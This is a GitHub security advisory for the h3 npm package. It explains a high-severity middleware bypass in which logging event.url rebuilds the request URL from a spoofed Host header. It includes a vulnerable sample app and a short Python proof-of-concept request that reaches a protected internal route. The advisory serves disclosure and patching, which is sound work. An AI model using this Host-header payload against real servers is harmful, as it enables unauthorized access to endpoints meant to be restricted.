GHSA-3vj8-jmxq-cgj5

Suggest an improvement
Source
https://github.com/advisories/GHSA-3vj8-jmxq-cgj5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3vj8-jmxq-cgj5/GHSA-3vj8-jmxq-cgj5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3vj8-jmxq-cgj5
Aliases
Published
2026-03-18T16:18:12Z
Modified
2026-03-20T21:59:20Z
Severity
  • 7.4 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
h3 has a middleware bypass with one gadget
Details

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Database specific
{
    "cwe_ids":  [
        "CWE-290"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-18T16:18:12Z",
    "nvd_published_at":  "2026-03-20T11:18:02Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / h3

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.0.0-0
Fixed
2.0.1-rc.15

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3vj8-jmxq-cgj5/GHSA-3vj8-jmxq-cgj5.json"